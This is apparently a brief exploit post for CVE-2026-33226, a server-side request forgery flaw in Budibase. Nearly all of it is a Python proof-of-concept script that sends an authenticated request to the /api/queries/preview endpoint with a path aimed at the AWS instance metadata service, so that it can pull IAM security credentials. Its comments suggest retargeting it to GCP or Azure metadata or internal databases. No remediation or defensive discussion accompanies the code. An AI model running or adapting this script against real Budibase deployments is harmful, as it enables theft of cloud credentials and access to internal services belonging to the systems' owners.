CVE-2026-33226 Budibase SSRF漏洞

import requests # Target URL of the vulnerable Budibase instance target_url = "http://vulnerable-budibase-instance.com/api/queries/preview" # Malicious URL pointing to AWS Metadata Service (Internal SSRF) # Can be changed to GCP/Azure metadata or internal database addresses ssrf_payload = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Headers with a valid Admin authentication token headers = { "Authorization": "Bearer <VALID_ADMIN_JWT_TOKEN>", "Content-Type": "application/json", "Accept": "application/json" } # JSON payload containing the malicious path data = { "fields": { "path": ssrf_payload }, "datasourceId": "<DATASOURCE_ID>", "queryId": "<QUERY_ID>" } try: # Sending the POST request to trigger the SSRF response = requests.post(target_url, json=data, headers=headers, timeout=10) # Checking if the request was successful if response.status_code == 200: print("[+] SSRF Exploit Successful!") print("[+] Response from internal service:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")